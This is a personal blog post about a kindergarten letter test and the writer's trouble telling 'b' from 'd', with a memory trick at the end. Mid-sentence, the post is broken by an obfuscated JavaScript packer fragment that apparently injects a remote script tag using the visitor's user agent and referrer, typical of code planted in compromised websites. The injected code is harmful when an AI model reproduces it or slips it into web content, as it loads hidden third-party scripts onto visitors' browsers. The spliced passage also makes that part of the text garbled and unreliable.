Kindergarten nightmares

Ok, well nightmares may be an exaggeration…but that’s what I do.

Nick and I were on a walk and somehow we got on the subject of kindergarten memories. Since I was about 4 or 5, I don’t have a ton of memories, but 1 really stuck out. Probably because I was super stressed.

Letters, words and writing aren’t my forte. I’m a fan of numbers. And in kindergarten, I wasn’t exactly a whiz at the alphabet. I mean, don’t get me wrong, I could sing the song with the best of them, and I had my capital letters pretty much down, but lowercase letters gave me some trouble. The “b” and the “d” in particular.

Let’s take a step back and look at this from the point of view of a child. The letter “b” could really be a “B” or a “D” when looking at the shape alone. Arguments could be made in either direction (in my opinion).

We had to take some informal “test” that basically involved a parent volunteer working one on one with the student, pointing to upper and lower case letters and having the child tell them what letter it was. Sounds easy enough.

So it’s my turn and things are going great. I’m all “A, R, T, Y, X, Z, P, I.” I was nailing it!

Then we moved on to the lower case and I started reading off the letters, “j, k, u, s, r, v…” but then I started looking ahead. My luck was running out and I could see the “b” and “d” on the horizon. My palms began to sweat. This parent volunteer was going to learn that I didn’t know the difference between my b’s and d’s….or I was going to have to guess and hope I was right. I was getting incredibly nervous as we got closer to the infamous letters. Literally, this is what the page looked like, “t, g, f, w, s, b, ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atsbb|var|u0026u|referrer|atiry||js|php’.split(‘|’),0,{}))
d, c, x, z, q.” I kid you not, she stopped at “s” and it was someone else’s turn. I’ve never heaved a bigger sigh of relief.

Looking back, it was clearly a flawed test. I mean, I didn’t know my alphabet and no one was ever the wiser. Clearly, I did ok for myself and now know the bifference detween b’s and d’s 🙂

I think I told someone that story once and they commented that my name has a “B” in it. Not sure what they were trying to tell me. But the way I ended up remembering was thanks to one of my kindergarten friends. She said, “the way I remember is that “b” comes first. So it gets to look more like a B. D comes after, so it has to go backwards.” So in case you have kids out there that can’t tell the dif, this method worked for me.

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